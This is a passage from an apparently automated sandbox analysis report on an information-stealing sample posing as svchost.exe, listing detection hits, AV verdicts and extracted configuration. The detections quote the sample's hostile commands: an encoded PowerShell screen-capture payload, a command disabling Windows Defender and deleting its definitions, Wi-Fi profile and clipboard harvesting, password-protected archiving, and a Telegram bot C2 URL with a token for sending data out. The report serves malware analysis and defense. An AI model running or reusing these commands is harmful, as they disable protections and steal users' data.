ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYw

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\ProgramData\Microsoft\based.exe" , ParentImage: C:\ProgramData\Microsoft\based.exe, ParentProcessId: 7492, ParentProcessName: based.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 1196, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\svchost.exe", CommandLine: "C:\Users\user\Desktop\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\svchost.exe, NewProcessName: C:\Users\user\Desktop\svchost.exe, OriginalFileName: C:\Users\user\Desktop\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\svchost.exe", ParentImage: C:\Users\user\Desktop\svchost.exe, ParentProcessId: 5740, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Users\user\Desktop\svchost.exe", ProcessId: 7212, ProcessName: svchost.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym, CommandLine: C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym, CommandLine|base64offset|contains: z , Image: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe, ParentCommandLine: "C:\Users\user\Desktop\svchost.exe", ParentImage: C:\Users\user\Desktop\svchost.exe, ParentProcessId: 7212, ParentProcessName: svchost.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym, ProcessId: 7324, ProcessName: Build.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3084, TargetFilename: C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *, CommandLine: C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1916, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *, ProcessId: 8084, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 7688, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\svchost.exe", CommandLine: "C:\Users\user\Desktop\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\svchost.exe, NewProcessName: C:\Users\user\Desktop\svchost.exe, OriginalFileName: C:\Users\user\Desktop\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\user\Desktop\svchost.exe", ProcessId: 5740, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYw

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\ProgramData\Microsoft\based.exe" , ParentImage: C:\ProgramData\Microsoft\based.exe, ParentProcessId: 7492, ParentProcessName: based.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7380, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T19:05:10.259587+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49915	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\Microsoft\based.exe

Avira: detection malicious, Label: HEUR/AGEN.1351111

Found malware configuration

Source: based.exe.7492.12.memstrmin

Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7006262545:AAG_Oybxah5yJgAPFw9HTnZfJtepO5xBob8/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Microsoft\based.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\Microsoft\hacn.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: svchost.exe	Virustotal: Detection: 32%			Perma Link
Source: svchost.exe	ReversingLabs: Detection: 28%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Microsoft\based.exe

Joe Sandbox ML: detected

Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232293 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02232293
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022842B0 CRYPTO_malloc,memcpy,	13_2_00007FFB022842B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022562F0 ERR_put_error,CRYPTO_free,ERR_put_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	13_2_00007FFB022562F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022313B6 CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	13_2_00007FFB022313B6
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223E2E0 CRYPTO_malloc,	13_2_00007FFB0223E2E0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022320FE BN_bin2bn,BN_is_zero,CRYPTO_free,CRYPTO_strdup,CRYPTO_clear_free,	13_2_00007FFB022320FE
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02282350 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02282350
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02246330 CRYPTO_free,	13_2_00007FFB02246330
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224E3C0 CRYPTO_THREAD_run_once,	13_2_00007FFB0224E3C0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231CBC CRYPTO_clear_free,	13_2_00007FFB02231CBC
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02238410 CRYPTO_zalloc,ERR_put_error,	13_2_00007FFB02238410
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231E7E CRYPTO_free,CRYPTO_malloc,	13_2_00007FFB02231E7E
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022483F0 EVP_PKEY_CTX_new,EVP_PKEY_derive_init,EVP_PKEY_derive_set_peer,EVP_PKEY_derive,CRYPTO_malloc,EVP_PKEY_derive,CRYPTO_clear_free,EVP_PKEY_CTX_free,	13_2_00007FFB022483F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231A00 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	13_2_00007FFB02231A00
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231F14 CRYPTO_free,	13_2_00007FFB02231F14
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02234497 CRYPTO_zalloc,ERR_put_error,BIO_set_init,BIO_set_data,BIO_clear_flags,	13_2_00007FFB02234497
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223E0B0 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,	13_2_00007FFB0223E0B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022340BA BIO_get_data,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,CRYPTO_zalloc,ERR_put_error,BIO_set_init,BIO_clear_flags,BIO_get_data,BIO_set_shutdown,BIO_push,BIO_set_next,BIO_up_ref,BIO_set_init,	13_2_00007FFB022340BA
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022680F0 CRYPTO_free,	13_2_00007FFB022680F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02248130 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02248130
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232590 CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02232590
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223195B EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,CRYPTO_memcmp,strncmp,strncmp,strncmp,strncmp,strncmp,	13_2_00007FFB0223195B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224E180 COMP_zlib,CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl,	13_2_00007FFB0224E180
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022461F8 CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB022461F8
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231131 CRYPTO_free,	13_2_00007FFB02231131
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224C280 CRYPTO_zalloc,ERR_put_error,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_free,	13_2_00007FFB0224C280
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022346C0 BIO_get_data,BIO_get_shutdown,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,	13_2_00007FFB022346C0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022313FC EVP_MD_CTX_new,EVP_MD_CTX_free,CRYPTO_memcmp,memcpy,memcpy,	13_2_00007FFB022313FC
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231AC8 CRYPTO_malloc,ERR_put_error,CRYPTO_free,	13_2_00007FFB02231AC8
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223218A CONF_parse_list,ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	13_2_00007FFB0223218A
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0228E730 OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,memcmp,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,CRYPTO_memcmp,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB0228E730
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232225 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02232225
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223222A CRYPTO_free,	13_2_00007FFB0223222A
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223101E CRYPTO_free,CRYPTO_free,	13_2_00007FFB0223101E
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0226A850 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB0226A850
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231C08 CRYPTO_malloc,memset,memcpy,memcpy,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,OPENSSL_cleanse,	13_2_00007FFB02231C08
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227883B CRYPTO_clear_free,	13_2_00007FFB0227883B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02290830 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,	13_2_00007FFB02290830
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02270820 CRYPTO_free,CRYPTO_free,	13_2_00007FFB02270820
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022384C0 CRYPTO_zalloc,ERR_put_error,BUF_MEM_grow,	13_2_00007FFB022384C0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022322C5 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_put_error,	13_2_00007FFB022322C5
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232414 CRYPTO_free,BIO_clear_flags,BIO_set_flags,BIO_snprintf,ERR_add_error_data,memcpy,	13_2_00007FFB02232414
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231DD4 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,_time64,memcpy,OPENSSL_cleanse,OPENSSL_cleanse,EVP_MD_size,	13_2_00007FFB02231DD4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022524E0 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	13_2_00007FFB022524E0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02270550 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02270550
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231438 ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231438
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231050 EVP_PKEY_free,BN_num_bits,BN_bn2bin,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_clear_free,	13_2_00007FFB02231050
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231BCC CRYPTO_strdup,CRYPTO_free,	13_2_00007FFB02231BCC
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223236A CRYPTO_free,CRYPTO_malloc,ERR_put_error,memcpy,	13_2_00007FFB0223236A
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0226A5E0 CRYPTO_memcmp,	13_2_00007FFB0226A5E0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231762 ERR_put_error,CRYPTO_realloc,CRYPTO_realloc,ERR_put_error,	13_2_00007FFB02231762
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022321C1 _time64,CRYPTO_free,CRYPTO_malloc,EVP_sha256,EVP_Digest,EVP_MD_size,CRYPTO_free,CRYPTO_free,	13_2_00007FFB022321C1
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224CAC0 OPENSSL_sk_num,X509_STORE_CTX_new,ERR_put_error,OPENSSL_sk_value,X509_STORE_CTX_init,ERR_put_error,X509_STORE_CTX_free,X509_STORE_CTX_set_flags,CRYPTO_THREAD_run_once,X509_STORE_CTX_set_ex_data,OPENSSL_sk_num,X509_STORE_CTX_set0_dane,X509_STORE_CTX_set_default,X509_VERIFY_PARAM_set1,X509_STORE_CTX_set_verify_cb,X509_verify_cert,X509_STORE_CTX_get_error,OPENSSL_sk_pop_free,X509_STORE_CTX_get0_chain,X509_STORE_CTX_get1_chain,ERR_put_error,X509_VERIFY_PARAM_move_peername,X509_STORE_CTX_free,	13_2_00007FFB0224CAC0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02270AA0 CRYPTO_memcmp,	13_2_00007FFB02270AA0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0225CB10 CRYPTO_free,CRYPTO_free,	13_2_00007FFB0225CB10
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231FBE CRYPTO_free,	13_2_00007FFB02231FBE
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231523 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	13_2_00007FFB02231523
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02290B50 EVP_PKEY_get0_RSA,RSA_size,CRYPTO_malloc,RAND_priv_bytes,CRYPTO_free,	13_2_00007FFB02290B50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231DA2 CRYPTO_THREAD_run_once,	13_2_00007FFB02231DA2
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0225CC00 ERR_put_error,CRYPTO_realloc,CRYPTO_realloc,ERR_put_error,	13_2_00007FFB0225CC00
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223132A CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,	13_2_00007FFB0223132A
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223189D CRYPTO_malloc,ERR_put_error,	13_2_00007FFB0223189D
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223135C memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	13_2_00007FFB0223135C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232153 CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,ENGINE_finish,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	13_2_00007FFB02232153
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02280990 CRYPTO_free,CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB02280990
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02238980 CRYPTO_free,	13_2_00007FFB02238980
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0228C980 CRYPTO_memcmp,	13_2_00007FFB0228C980
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0225C970 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_put_error,	13_2_00007FFB0225C970
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223221B CRYPTO_malloc,ERR_put_error,memcpy,CRYPTO_free,CRYPTO_free,	13_2_00007FFB0223221B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02264A90 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	13_2_00007FFB02264A90
